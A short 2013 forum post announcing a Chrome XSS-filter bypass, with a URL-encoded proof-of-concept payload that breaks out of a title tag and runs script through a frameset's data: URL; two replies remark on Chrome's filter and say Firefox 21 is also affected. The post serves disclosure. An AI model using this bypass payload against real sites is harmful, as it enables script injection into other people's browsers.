New XSS Bypass on Google Chrome filter

Posted by viana007 on Saturday June 08, 2013 @05:08PM
from the html5sec.org dept.

http://html5sec.org/title?xss=%3C/title%3E%3Cframeset%3E%3Cframe%20src=%22data:text/html,%3Cscript%3Ealert(1)%3C/script%3E%22%3E

( 2 comments | 10 points | on HN )

Re:New XSS Bypass on Google Chrome filter by waraey on Saturday June 08, 2013 @07:56PM (#5846814)

Awesome. First noticed that Chrome was blocking XSS attempts a week ago. It seems that if Chrome want's to move in the direction of ignoring specs and standards for security means, they are headed down the lines of IE.

[ Parent | on HN ]

Re:New XSS Bypass on Google Chrome filter by mrng on Saturday June 08, 2013 @09:05PM (#5847028)

Firefox 21 (Windows) seems to be vulnerable, too.

[ Parent | on HN ]